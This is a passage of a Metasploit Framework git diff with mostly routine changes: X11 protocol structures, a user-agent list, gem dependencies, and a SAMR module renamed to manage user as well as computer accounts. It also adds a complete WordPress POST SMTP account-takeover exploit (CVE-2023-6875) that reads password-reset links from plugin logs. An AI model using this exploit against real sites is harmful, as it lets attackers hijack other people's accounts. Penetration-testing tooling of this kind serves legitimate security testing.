0... .... = VirtualModMap: False + bit1 :partial_virtual_mod_map, initial_value: 0 + bit1 :partial_virtual_mods, initial_value: 0 + bit1 :partial_key_behaviors, initial_value: 0 + bit1 :partial_key_actions, initial_value: 0 + bit1 :partial_explicit_components, initial_value: 0 + bit1 :partial_modifier_map, initial_value: 0 + bit1 :partial_key_syms, initial_value: 0 + bit1 :partial_key_types, initial_value: 0 + bit8 :partial_null_pad, value: 0 + + uint8 :first_type + uint8 :n_types + uint8 :first_key_sym + uint8 :n_key_syms + uint8 :first_key_action + uint8 :n_key_action + uint8 :first_key_behavior + uint8 :n_key_behavior + bit1 :virtual_mod1, initial_value: 0 + bit1 :virtual_mod2, initial_value: 0 + bit1 :virtual_mod3, initial_value: 0 + bit1 :virtual_mod4, initial_value: 0 + bit1 :virtual_mod5, initial_value: 0 + bit1 :virtual_mod6, initial_value: 0 + bit1 :virtual_mod7, initial_value: 0 + bit1 :virtual_mod8, initial_value: 0 + bit1 :virtual_mod9, initial_value: 0 + bit1 :virtual_mod10, initial_value: 0 + bit1 :virtual_mod11, initial_value: 0 + bit1 :virtual_mod12, initial_value: 0 + bit1 :virtual_mod13, initial_value: 0 + bit1 :virtual_mod14, initial_value: 0 + bit1 :virtual_mod15, initial_value: 0 + bit1 :virtual_mod16, initial_value: 0 + uint8 :first_key_explicit + uint8 :n_key_explicit + uint8 :first_mod_map_key + uint8 :n_mod_map_keys + uint8 :first_vmod_map_key + uint8 :n_vmod_map_keys + uint16 :pad + end + + # https://xcb.freedesktop.org/manual/structxcb__xkb__get__map__reply__t.html + class X11GetMapResponse < BinData::Record + endian :little + uint8 :reply + uint8 :device_id + uint16 :sequence_number # xkb-GetMap + uint32 :response_length + uint16 :pad0 # 2x uint8 pads, we just combine + uint8 :min_key_code + uint8 :max_key_code + uint16 :presents # needs to be converted to bits... + uint8 :first_type + uint8 :n_types + uint8 :total_types + uint8 :first_key_sym + uint16 :total_sym + uint8 :n_key_sym + uint8 :first_key_action + uint16 :total_key_action + uint8 :n_key_action + uint8 :first_key_behavior + uint8 :n_key_behavior # yes this order is not like the previous + uint8 :total_key_behavior + uint8 :first_key_explicit + uint8 :n_key_explicit + uint8 :total_key_explicit + uint8 :first_mod_map_key + uint8 :n_mod_map_key + uint8 :total_mod_map_key + uint8 :first_vmod_map_key + uint8 :n_vmod_map_key + uint8 :total_vmod_map_key + uint8 :pad1 + uint16 :virtual_mods # bit array + # next we have a list of KEYTYPE, length is :n_types + array :key_types_array, + type: :X11KeyType, + initial_length: :n_types + # next we have a list of X11KeySymEntry + array :key_map_array, + type: :X11KeySymEntry, + initial_length: :n_key_sym + # next we have a list of X11KeyModMap + array :key_mod_map_array, + type: :X11KeyModMap, + initial_length: :total_mod_map_key + rest :pad2 + end + + # https://xcb.freedesktop.org/manual/structxcb__xkb__select__events__request__t.html + class X11SelectEvents < BinData::Record + endian :little + uint8 :xkeyboard_id # opcode + uint8 :extension_minor, value: 1 # SelectEvent + uint16 :request_length, value: -> { num_bytes / 4 } + uint16 :device_spec, value: 3 + # affect_which mappings from wireshark, uint16 total size + # .... .... .... ...0 = NewKeyboardNotify: False + # .... .... .... ..0. = MapNotify: False + # .... .... .... .0.. = StateNotify: False + # .... .... .... 0... = ControlsNotify: False + # .... .... ...0 .... = IndicatorStateNotify: False + # .... .... ..0. .... = IndicatorMapNotify: False + # .... .... .0.. .... = NamesNotify: False + # .... .... 0... .... = CompatMapNotify: False + # .... ...0 .... .... = BellNotify: False + # .... ..0. .... .... = ActionMessage: False + # .... .0.. .... .... = AccessXNotify: False + # .... 0... .... .... = ExtensionDeviceNotify: False + bit1 :affect_which_compat_map_notify, initial_value: 0 + bit1 :affect_which_names_notify, initial_value: 0 + bit1 :affect_which_indicator_map_notify, initial_value: 0 + bit1 :affect_which_indicator_state_notify, initial_value: 0 + bit1 :affect_which_controls_notify, initial_value: 0 + bit1 :affect_which_state_notify, initial_value: 0 + bit1 :affect_which_map_notify, initial_value: 0 + bit1 :affect_which_new_keyboard_notify, initial_value: 0 + + bit4 :affect_which_null_pad, value: 0 + bit1 :affect_which_extension_device_notify, initial_value: 0 + bit1 :affect_which_access_x_notify, initial_value: 0 + bit1 :affect_which_action_message, initial_value: 0 + bit1 :affect_which_bell_notify, initial_value: 0 + # clear mappings from wireshark, uint16 total size + # .... .... .... ...0 = NewKeyboardNotify: False + # .... .... .... ..0. = MapNotify: False + # .... .... .... .0.. = StateNotify: False + # .... .... .... 0... = ControlsNotify: False + # .... .... ...0 .... = IndicatorStateNotify: False + # .... .... ..0. .... = IndicatorMapNotify: False + # .... .... .0.. .... = NamesNotify: False + # .... .... 0... .... = CompatMapNotify: False + # .... ...0 .... .... = BellNotify: False + # .... ..0. .... .... = ActionMessage: False + # .... .0.. .... .... = AccessXNotify: False + # .... 0... .... .... = ExtensionDeviceNotify: False + bit1 :clear_compat_map_notify, initial_value: 0 + bit1 :clear_names_notify, initial_value: 0 + bit1 :clear_indicator_map_notify, initial_value: 0 + bit1 :clear_indicator_state_notify, initial_value: 0 + bit1 :clear_controls_notify, initial_value: 0 + bit1 :clear_state_notify, initial_value: 0 + bit1 :clear_map_notify, initial_value: 0 + bit1 :clear_new_keyboard_notify, initial_value: 0 + + bit4 :clear_null_pad, value: 0 + bit1 :clear_extension_device_notify, initial_value: 0 + bit1 :clear_access_x_notify, initial_value: 0 + bit1 :clear_action_message, initial_value: 0 + bit1 :clear_bell_notify, initial_value: 0 + # select_all mappings from wireshark, uint16 total size + # .... .... .... ...0 = NewKeyboardNotify: False + # .... .... .... ..0. = MapNotify: False + # .... .... .... .0.. = StateNotify: False + # .... .... .... 0... = ControlsNotify: False + # .... .... ...0 .... = IndicatorStateNotify: False + # .... .... ..0. .... = IndicatorMapNotify: False + # .... .... .0.. .... = NamesNotify: False + # .... .... 0... .... = CompatMapNotify: False + # .... ...0 .... .... = BellNotify: False + # .... ..0. .... .... = ActionMessage: False + # .... .0.. .... .... = AccessXNotify: False + # .... 0... .... .... = ExtensionDeviceNotify: False + bit1 :select_all_compat_map_notify, initial_value: 0 + bit1 :select_all_names_notify, initial_value: 0 + bit1 :select_all_indicator_map_notify, initial_value: 0 + bit1 :select_all_indicator_state_notify, initial_value: 0 + bit1 :select_all_controls_notify, initial_value: 0 + bit1 :select_all_state_notify, initial_value: 0 + bit1 :select_all_map_notify, initial_value: 0 + bit1 :select_all_new_keyboard_notify, initial_value: 0 + + bit4 :select_all_null_pad, value: 0 + bit1 :select_all_extension_device_notify, initial_value: 0 + bit1 :select_all_access_x_notify, initial_value: 0 + bit1 :select_all_action_message, initial_value: 0 + bit1 :select_all_bell_notify, initial_value: 0 + # affect_map mappings from wireshark, uint16 total size + # .... .... .... ...0 = KeyTypes: False + # .... .... .... ..0. = KeySyms: False + # .... .... .... .0.. = ModifierMap: False + # .... .... .... 0... = ExplicitComponents: False + # .... .... ...0 .... = KeyActions: False + # .... .... ..0. .... = KeyBehaviors: False + # .... .... .0.. .... = VirtualMods: False + # .... .... 0... .... = VirtualModMap: False + bit1 :affect_map_virtual_mod_map, initial_value: 0 + bit1 :affect_map_virtual_mods, initial_value: 0 + bit1 :affect_map_key_behaviors, initial_value: 0 + bit1 :affect_map_key_actions, initial_value: 0 + bit1 :affect_map_explicit_components, initial_value: 0 + bit1 :affect_map_modifier_map, initial_value: 0 + bit1 :affect_map_key_syms, initial_value: 0 + bit1 :affect_map_key_types, initial_value: 0 + bit8 :affect_map_null_pad, value: 0 + # mapping mappings from wireshark, uint16 total size + # .... .... .... ...0 = KeyTypes: False + # .... .... .... ..0. = KeySyms: False + # .... .... .... .0.. = ModifierMap: False + # .... .... .... 0... = ExplicitComponents: False + # .... .... ...0 .... = KeyActions: False + # .... .... ..0. .... = KeyBehaviors: False + # .... .... .0.. .... = VirtualMods: False + # .... .... 0... .... = VirtualModMap: False + bit1 :map_virtual_mod_map, initial_value: 0 + bit1 :map_virtual_mods, initial_value: 0 + bit1 :map_key_behaviors, initial_value: 0 + bit1 :map_key_actions, initial_value: 0 + bit1 :map_explicit_components, initial_value: 0 + bit1 :map_modifier_map, initial_value: 0 + bit1 :map_key_syms, initial_value: 0 + bit1 :map_key_types, initial_value: 0 + bit8 :map_null_pad, value: 0 + # affect_new_keyboard mappings from wireshark, uint16 total size + # .... .... .... ...0 = Keycodes: False + # .... .... .... ..0. = Geometry: False + # .... .... .... .0.. = DeviceID: False + bit5 :affect_new_keyboard_null_pad, value: 0, onlyif: -> { affect_which_new_keyboard_notify == 1 } # may be others but thats all thats observed and implemented at this point + bit1 :affect_new_keyboard_device_id, initial_value: 0, onlyif: -> { affect_which_new_keyboard_notify == 1 } # may be others but thats all thats observed and implemented at this point + bit1 :affect_new_keyboard_geometry, initial_value: 0, onlyif: -> { affect_which_new_keyboard_notify == 1 } # may be others but thats all thats observed and implemented at this point + bit1 :affect_new_keyboard_key_codes, initial_value: 0, onlyif: -> { affect_which_new_keyboard_notify == 1 } # may be others but thats all thats observed and implemented at this point + bit8 :affect_new_keyboard_null_pad2, value: 0, onlyif: -> { affect_which_new_keyboard_notify == 1 } # may be others but thats all thats observed and implemented at this point + # new_keyboard_details mappings from wireshark, uint16 total size + # .... .... .... ...0 = Keycodes: False + # .... .... .... ..0. = Geometry: False + # .... .... .... .0.. = DeviceID: False + bit5 :new_keyboard_details_null_pad, value: 0, onlyif: -> { affect_which_new_keyboard_notify == 1 } # may be others but thats all thats observed and implemented at this point + bit1 :new_keyboard_details_device_id, initial_value: 0, onlyif: -> { affect_which_new_keyboard_notify == 1 } # may be others but thats all thats observed and implemented at this point + bit1 :new_keyboard_details_geometry, initial_value: 0, onlyif: -> { affect_which_new_keyboard_notify == 1 } # may be others but thats all thats observed and implemented at this point + bit1 :new_keyboard_details_key_codes, initial_value: 0, onlyif: -> { affect_which_new_keyboard_notify == 1 } # may be others but thats all thats observed and implemented at this point + bit8 :new_keyboard_details_null_pad2, value: 0, onlyif: -> { affect_which_new_keyboard_notify == 1 } # may be others but thats all thats observed and implemented at this point + end + + # https://xcb.freedesktop.org/manual/structxcb__query__keymap__request__t.html + class X11QueryKeyMapRequest < BinData::Record + endian :little + uint8 :opcode, value: 44 # QueryKeymap + uint8 :pad + uint16 :request_length, value: -> { num_bytes / 4 } + end + + # https://xcb.freedesktop.org/manual/structxcb__query__keymap__reply__t.html + class X11QueryKeyMapResponse < BinData::Record + endian :little + uint8 :reply + uint8 :pad + uint16 :sequence_number + uint32 :response_length + # byte sequence + uint8_array :data, initial_length: 32 + end + + # https://xcb.freedesktop.org/manual/structxcb__xkb__bell__request__t.html + class X11BellRequest < BinData::Record + endian :little + uint8 :xkeyboard_id # opcode + uint8 :extension_minor, value: 3 # Bell + uint16 :request_length, value: -> { num_bytes / 4 } + uint16 :device_spec, value: 256 # XXX does this come from elsewhere? + uint16 :bell_class, value: 768 + uint16 :bell_id, value: 1024 + uint8 :percent, initial_value: 50 # xxx do we want to change this? + uint8 :force_sound, initial_value: 0 # 0 = false, 1 true? + uint8 :sound_only, initial_value: 0 # 0 = false, 1 true? + uint8 :pad0 + uint16 :pitch, initial_value: 0 + uint16 :duration, initial_value: 0 + uint16 :pad1 + uint32 :name, initial_value: 814 # XXX do we see this elsewhere? + uint32 :window + end +end diff --git a/lib/rex/proto/x509/request.rb b/lib/rex/proto/x509/request.rb new file mode 100644 index 000000000000..7cb723f0fb1d --- /dev/null +++ b/lib/rex/proto/x509/request.rb @@ -0,0 +1,18 @@ +module Rex::Proto::X509 + + class Request + def self.create_csr(private_key, cn, algorithm = 'SHA256') + request = OpenSSL::X509::Request.new + request.subject = OpenSSL::X509::Name.new([ + ['CN', cn, OpenSSL::ASN1::UTF8STRING] + ]) + request.public_key = private_key.public_key + + yield request if block_given? + + request.sign(private_key, OpenSSL::Digest.new(algorithm)) + request + end + end + +end diff --git a/lib/rex/ui/text/input/readline.rb b/lib/rex/ui/text/input/readline.rb index 85ca9d121805..4fb32751c5b8 100644 --- a/lib/rex/ui/text/input/readline.rb +++ b/lib/rex/ui/text/input/readline.rb @@ -100,6 +100,7 @@ def pgets ::Readline::HISTORY.pop if (line and line.empty?) ensure Thread.current.priority = orig || 0 + output.prompting(false) end line diff --git a/lib/rex/ui/text/irb_shell.rb b/lib/rex/ui/text/irb_shell.rb index 956523cb8c79..49536041dcc5 100644 --- a/lib/rex/ui/text/irb_shell.rb +++ b/lib/rex/ui/text/irb_shell.rb @@ -40,20 +40,18 @@ def run IRB.conf[:MAIN_CONTEXT] = irb.context # Trap interrupt - old_sigint = trap("SIGINT") do - begin + begin + old_sigint = trap("SIGINT") do irb.signal_handle - rescue RubyLex::TerminateLineInput - irb.eval_input end - end - # Keep processing input until the cows come home... - catch(:IRB_EXIT) do - irb.eval_input + # Keep processing input until the cows come home... + catch(:IRB_EXIT) do + irb.eval_input + end + ensure + trap("SIGINT", old_sigint) if old_sigint end - - trap("SIGINT", old_sigint) end end diff --git a/lib/rex/user_agent.rb b/lib/rex/user_agent.rb index 1255db741c06..588896cb70db 100644 --- a/lib/rex/user_agent.rb +++ b/lib/rex/user_agent.rb @@ -9,16 +9,16 @@ module Rex::UserAgent # Taken from https://www.whatismybrowser.com/guides/the-latest-user-agent/ # COMMON_AGENTS = [ - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36', # Chrome Windows - 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36', # Chrome MacOS + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36', # Chrome Windows + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36', # Chrome MacOS - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.2792.79', # Edge Windows + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.2903.86', # Edge Windows - 'Mozilla/5.0 (iPad; CPU OS 17_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Mobile/15E148 Safari/604.1', # Safari iPad - 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15', # Safari MacOS + 'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1', # Safari iPad + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15', # Safari MacOS - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0', # Firefox Windows - 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:131.0) Gecko/20100101 Firefox/131.0' # Firefox MacOS + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0', # Firefox Windows + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0' # Firefox MacOS ] # diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index ddec5cf4b716..a7cd6306a199 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -74,7 +74,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.187' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.189' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.35' # Needed by msfgui and other rpc components @@ -248,6 +248,10 @@ Gem::Specification.new do |spec| # to generate PNG files, not to parse untrusted PNG files. spec.add_runtime_dependency 'chunky_png' + # Temporary, remove once the Rails 7.1 update is complete + # see: https://stackoverflow.com/questions/79360526/uninitialized-constant-activesupportloggerthreadsafelevellogger-nameerror + spec.add_runtime_dependency 'concurrent-ruby', '1.3.4' + # Needed for multiline REPL support for interactive SQL sessions spec.add_runtime_dependency 'reline' @@ -258,11 +262,14 @@ Gem::Specification.new do |spec| %w[ abbrev base64 + benchmark bigdecimal csv drb + fiddle getoptlong mutex_m + ostruct ].each do |library| spec.add_runtime_dependency library end diff --git a/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb b/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb index 06792401d2c5..2d9f2589774b 100644 --- a/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb +++ b/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb @@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::LDAP include Msf::Auxiliary::Report include Msf::Exploit::Remote::MsIcpr - include Msf::Exploit::Remote::MsSamr::Computer + include Msf::Exploit::Remote::MsSamr::Account def initialize(info = {}) super( @@ -102,7 +102,7 @@ def run end opts[:tree] = connect_smb - computer_info = add_computer(opts) + computer_info = add_account(:computer, opts) @computer_created = true disconnect_smb(opts.delete(:tree)) @@ -173,7 +173,7 @@ def run computer_name: computer_info&.name } begin - delete_computer(opts) if opts[:tree] && opts[:computer_name] + delete_account(opts) if opts[:tree] && opts[:computer_name] rescue MsSamrUnknownError => e print_warning("Unable to delete the computer account, this will have to be done manually with an Administrator account (#{e.message})") end diff --git a/modules/auxiliary/admin/dcerpc/icpr_cert.rb b/modules/auxiliary/admin/dcerpc/icpr_cert.rb index 1564853e39c7..1d0572593aa5 100644 --- a/modules/auxiliary/admin/dcerpc/icpr_cert.rb +++ b/modules/auxiliary/admin/dcerpc/icpr_cert.rb @@ -75,8 +75,7 @@ def with_ipc_tree opts = {} if session print_status("Using existing session #{session.sid}") - client = session.client - self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) + self.simple = session.simple_client opts[:tree] = simple.client.tree_connect("\\\\#{client.dispatcher.tcp_socket.peerhost}\\IPC$") end diff --git a/modules/auxiliary/admin/dcerpc/samr_computer.rb b/modules/auxiliary/admin/dcerpc/samr_account.rb similarity index 56% rename from modules/auxiliary/admin/dcerpc/samr_computer.rb rename to modules/auxiliary/admin/dcerpc/samr_account.rb index 8c3e878ac8b9..d574287a5608 100644 --- a/modules/auxiliary/admin/dcerpc/samr_computer.rb +++ b/modules/auxiliary/admin/dcerpc/samr_account.rb @@ -9,24 +9,28 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC include Msf::Auxiliary::Report - include Msf::Exploit::Remote::MsSamr::Computer + include Msf::Exploit::Remote::MsSamr::Account include Msf::OptionalSession::SMB + include Msf::Exploit::Deprecated + + moved_from 'auxiliary/admin/dcerpc/samr_computer' def initialize(info = {}) super( update_info( info, - 'Name' => 'SAMR Computer Management', + 'Name' => 'SAMR Account Management', 'Description' => %q{ - Add, lookup and delete computer / machine accounts via MS-SAMR. By default + Add, lookup and delete user / machine accounts via MS-SAMR. By default standard active directory users can add up to 10 new computers to the - domain. Administrative privileges however are required to delete the - created accounts. + domain (MachineAccountQuota). Administrative privileges however are required + to delete the created accounts, or to create/delete user accounts. }, 'License' => MSF_LICENSE, 'Author' => [ 'JaGoTu', # @jagotu Original Impacket code 'Spencer McIntyre', + 'smashery' ], 'References' => [ ['URL', 'https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py'], @@ -34,19 +38,20 @@ def initialize(info = {}) 'Notes' => { 'Reliability' => [], 'Stability' => [], - 'SideEffects' => [ IOC_IN_LOGS ] + 'SideEffects' => [ IOC_IN_LOGS ], + 'AKA' => ['samr_computer', 'samr_user'] }, 'Actions' => [ [ 'ADD_COMPUTER', { 'Description' => 'Add a computer account' } ], - [ 'DELETE_COMPUTER', { 'Description' => 'Delete a computer account' } ], - [ 'LOOKUP_COMPUTER', { 'Description' => 'Lookup a computer account' } ] + [ 'ADD_USER', { 'Description' => 'Add a user account' } ], + [ 'DELETE_ACCOUNT', { 'Description' => 'Delete a computer or user account' } ], + [ 'LOOKUP_ACCOUNT', { 'Description' => 'Lookup a computer or user account' } ] ], 'DefaultAction' => 'ADD_COMPUTER' ) ) register_options([ - OptString.new('COMPUTER_PASSWORD', [ false, 'The password for the new computer' ], conditions: %w[ACTION == ADD_COMPUTER]), Opt::RPORT(445) ]) end @@ -65,25 +70,36 @@ def run fail_with(Failure::UnexpectedReply, e.message) rescue MsSamrUnknownError => e fail_with(Failure::Unknown, e.message) + rescue SmbIpcAuthenticationError => e + fail_with(Failure::Unknown, e.message) + end + + def action_add_user + fail_with(Failure::BadConfig, 'This action requires ACCOUNT_NAME to be specified.') if datastore['ACCOUNT_NAME'].blank? + print_status('Adding user') + with_ipc_tree do |opts| + add_account(:user, opts) + end end def action_add_computer + print_status('Adding computer') with_ipc_tree do |opts| - add_computer(opts) + add_account(:computer, opts) end end - def action_delete_computer - fail_with(Failure::BadConfig, 'This action requires COMPUTER_NAME to be specified.') if datastore['COMPUTER_NAME'].blank? + def action_delete_account + fail_with(Failure::BadConfig, 'This action requires ACCOUNT_NAME to be specified.') if datastore['ACCOUNT_NAME'].blank? with_ipc_tree do |opts| - delete_computer(opts) + delete_account(opts) end end - def action_lookup_computer - fail_with(Failure::BadConfig, 'This action requires COMPUTER_NAME to be specified.') if datastore['COMPUTER_NAME'].blank? + def action_lookup_account + fail_with(Failure::BadConfig, 'This action requires ACCOUNT_NAME to be specified.') if datastore['ACCOUNT_NAME'].blank? with_ipc_tree do |opts| - lookup_computer(opts) + lookup_account(opts) end end @@ -93,9 +109,8 @@ def with_ipc_tree opts = {} if session print_status("Using existing session #{session.sid}") - client = session.client - self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) - opts[:tree] = simple.client.tree_connect("\\\\#{client.dispatcher.tcp_socket.peerhost}\\IPC$") + self.simple = session.simple_client + opts[:tree] = simple.client.tree_connect("\\\\#{session.client.dispatcher.tcp_socket.peerhost}\\IPC$") end yield opts diff --git a/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb b/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb new file mode 100644 index 000000000000..ddf3e61a63bc --- /dev/null +++ b/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb @@ -0,0 +1,115 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HTTP::Wordpress + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Wordpress POST SMTP Account Takeover', + 'Description' => %q{ + The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege + escalation where an unauthenticated user is able to reset the password + of an arbitrary user. This is done by requesting a password reset, then + viewing the latest email logs to find the associated password reset email. + }, + 'Author' => [ + 'h00die', # msf module + 'Ulysses Saicha', # Discovery, POC + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-6875'], + ['URL', 'https://github.com/UlyssesSaicha/CVE-2023-6875/tree/main'], + ], + 'DisclosureDate' => '2024-01-10', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + register_options( + [ + OptString.new('USERNAME', [true, 'Username to password reset', '']), + ] + ) + end + + def register_token + token = Rex::Text.rand_text_alphanumeric(10..16) + device = Rex::Text.rand_text_alphanumeric(10..16) + vprint_status("Attempting to Registering token #{token} on device #{device}") + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'), + 'headers' => { 'fcm-token' => token, 'device' => device } + ) + fail_with(Failure::Unreachable, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely not vulnerable') if res.code == 401 + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely unpredicted URL structure') if res.code == 404 + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 + print_good("Succesfully created token: #{token}") + return token, device + end + + def check + unless wordpress_and_online? + return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') + end + + checkcode = check_plugin_version_from_readme('post-smtp', '2.8.7') + if checkcode == Msf::Exploit::CheckCode::Safe + return Msf::Exploit::CheckCode::Safe('POST SMTP version not vulnerable') + end + + checkcode + end + + def run + fail_with(Failure::NotFound, "#{datastore['USERNAME']} not found on this wordpress install") unless wordpress_user_exists? datastore['USERNAME'] + token, device = register_token + fail_with(Failure::UnexpectedReply, "Password reset for #{datastore['USERNAME']} failed") unless reset_user_password(datastore['USERNAME']) + print_status('Requesting logs') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'), + 'headers' => { 'fcm-token' => token, 'device' => device } + ) + fail_with(Failure::Unreachable, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 + json_doc = res.get_json_document + # we want the latest email as that's the one with the password reset + doc_id = json_doc['data'][0]['id'] + print_status("Requesting email content from logs for ID #{doc_id}") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'), + 'headers' => { 'fcm-token' => token, 'device' => device }, + 'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id } + ) + fail_with(Failure::Unreachable, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 + + path = store_loot( + 'wordpress.post_smtp.log', + 'text/plain', + rhost, + res.body, + "#{doc_id}.log" + ) + print_good("Full text of log saved to: #{path}") + # https://rubular.com/r/DDQpKElcH42Qxg + # example URL http://127.0.0.1:5555/wp-login.php?action=rp&key=vy0MNNZZeykpDMArmJgu&login=admin&wp_lang=en_US + if res.body =~ /^(.*key=.+)$/ + print_good("Reset URL: #{::Regexp.last_match(1)}") + return + end + print_bad('Reset URL not found, manually review log stored in loot.') + end +end diff --git a/modules/auxiliary/admin/kerberos/get_ticket.rb b/modules/auxiliary/admin/kerberos/get_ticket.rb index a2314a4267d7..c5eaf3d13e3b 100644 --- a/modules/auxiliary/admin/kerberos/get_ticket.rb +++ b/modules/auxiliary/admin/kerberos/get_ticket.rb @@ -91,7 +91,7 @@ def initialize(info = {}) def validate_options if datastore['CERT_FILE'].present? - certificate = File.read(datastore['CERT_FILE']) + certificate = File.binread(datastore['CERT_FILE']) begin @pfx = OpenSSL::PKCS12.new(certificate, datastore['CERT_PASSWORD'] || '') rescue OpenSSL::PKCS12::PKCS12Error => e @@ -142,7 +142,7 @@ def validate_options def run validate_options - send("action_#{action.name.downcase}") + result = send("action_#{action.name.downcase}") report_service( host: rhost, @@ -151,6 +151,8 @@ def run name: 'kerberos', info: "Module: #{fullname}, KDC for domain #{@realm}" ) + + result rescue ::Rex::ConnectionError => e elog('Connection error', error: e) fail_with(Failure::Unreachable, e.message) @@ -276,6 +278,7 @@ def action_get_hash print_good("Found NTLM hash for #{@username}: #{ntlm_hash}") report_ntlm(ntlm_hash) + ntlm_hash end def report_ntlm(hash) diff --git a/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb b/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb index 83813a1ffb57..dc5b948c406e 100644 --- a/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb +++ b/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb @@ -116,8 +116,9 @@ def run end @ldap = ldap - send("action_#{action.name.downcase}") + result = send("action_#{action.name.downcase}") print_good('The operation completed successfully!') + result end rescue Errno::ECONNRESET fail_with(Failure::Disconnected, 'The connection was reset.') @@ -147,7 +148,7 @@ def get_certificate_template "#{datastore['CERT_TEMPLATE']} Certificate Template" ) print_status("Certificate template data written to: #{stored}") - obj + [obj, stored] end def get_domain_sid @@ -323,17 +324,19 @@ def action_create print_status("Creating: #{dn}") @ldap.add(dn: dn, attributes: attributes) validate_query_result!(@ldap.get_operation_result.table) + dn end def action_delete - obj = get_certificate_template + obj, = get_certificate_template @ldap.delete(dn: obj['dn'].first) validate_query_result!(@ldap.get_operation_result.table) + true end def action_read - obj = get_certificate_template + obj, stored = get_certificate_template print_status('Certificate Template:') print_status(" distinguishedName: #{obj['distinguishedname'].first}") @@ -343,6 +346,29 @@ def action_read print_status(" objectGUID: #{object_guid}") end + pki_flag = obj['flags']&.first + if pki_flag.present? + pki_flag = [obj['flags'].first.to_i].pack('l').unpack1('L') + print_status(" flags: 0x#{pki_flag.to_s(16).rjust(8, '0')}") + %w[ + CT_FLAG_AUTO_ENROLLMENT + CT_FLAG_MACHINE_TYPE + CT_FLAG_IS_CA + CT_FLAG_ADD_TEMPLATE_NAME + CT_FLAG_IS_CROSS_CA + CT_FLAG_IS_DEFAULT + CT_FLAG_IS_MODIFIED + CT_FLAG_DONOTPERSISTINDB + CT_FLAG_ADD_EMAIL + CT_FLAG_PUBLISH_TO_DS + CT_FLAG_EXPORTABLE_KEY + ].each do |flag_name| + if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0 + print_status(" * #{flag_name}") + end 